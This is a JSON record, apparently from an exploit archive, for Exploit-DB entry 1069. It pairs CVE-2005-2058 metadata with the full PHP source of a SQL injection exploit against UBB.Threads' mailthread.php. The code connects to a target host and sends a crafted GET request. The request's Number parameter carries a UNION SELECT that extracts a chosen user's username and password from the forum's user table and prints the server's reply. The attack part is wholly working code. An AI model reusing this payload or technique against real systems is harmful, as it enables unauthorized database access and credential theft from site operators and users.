{"exploit":{"id":"EDB-1069","name":"UBBCentral UBB.Threads < 6.5.2 Beta - 'mailthread.php' SQL Injection (SQLi)","description":"UBBCentral UBB.Threads < 6.5.2 Beta - 'mailthread.php' SQL Injection (SQLi)","cves":["CVE-2005-2058"],"author":"mh_p0rtal","published":"2005-06-25","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1069","path":"exploits/php/webapps/1069.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1069.php","vulnerabilities":[{"id":"CVE-2005-2058","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in Infopop UBB.Threads before 6.5.2 Beta allow remote attackers to execute arbitrary SQL commands via the Number parameter to (1) download.php, (2) modifypost.php, (3) mailthread.php, or (4) notifymod.php, (5) month or (6) year parameter to calendar.php, (7) message parameter to viewmessage.php, (8) main parameter to addfav.php, or (9) posted parameter to grabnext.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-2058","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-2058"},"updatedAt":"2024-08-07T22:15:37.544Z","retrievedAt":"2026-11-26T12:09:28.653Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1069.png?v=2","url":"https://exploitbin.com/exploits/EDB-1069","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1069/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1069/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n#############################################################################\n#      T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m\n#############################################################################\n# Vulnerable:   UBBCentral SQL Injection\n#\n# Exploit By :  MH_p0rtal\n#\n# Discovered By: James Bercegay\n#############################################################################\n#  Gr33tz To ==>   Alpha_programmer , Oil_karchack , The_CephaleX , Str0ke\n#\n#  And Iranian Hacking & Security Teams :\n#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,\n#  Crouz Security Team  & Simorgh-ev Security Team\n#############################################################################\n# ___________Config :\n# please replace your address :\n$url = \"http:///www.example.com\";\n# please replace your dir address :\n$dirs = \"/dir/to/ubbt/\";\n# __________End Config\n#############################################################################\n$aa = strlen ( $dirs );\n$ab = $aa - 1;\n$ac = 0;\nif ((  $dirs[$ab] == \"/\" )  &&  ( $dirs[$ac] == \"/\" ))   {\n$merg = $dirs.mailthread.php;\n$fc = fsockopen(\"$url\", 80, $errno, $errstr, 30);\nif (!$fc) {\n\necho \"Can't Connect\\n\";\n} else {\n   $mh = \"GET $merg?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat  HTTP/1.1\\r\\n\";\n   $mh .= \"Host: $url\\r\\n\";\n   $mh .= \"Connection: Close\\r\\n\\r\\n\";\n\n  fwrite($fc, $mh);\n  while (!feof($fc)) {\n  echo fgets($fc, 1024);\n  }\n   fclose($fc);\n}\n} else {\necho \" Your pattern doesn't equal with Exploit directory pattern \";\n}\n?>\n\n# milw0rm.com [2005-06-25]","sha256":"b17b0b4eb09f2bab842f782b94a142e0866c9bc8bdbf57612e05e6a5f1c09aaf","bytes":1685,"fetchedAt":"2026-11-26T12:09:23.438Z","encoding":"utf-8 (display only; download retains original bytes)"}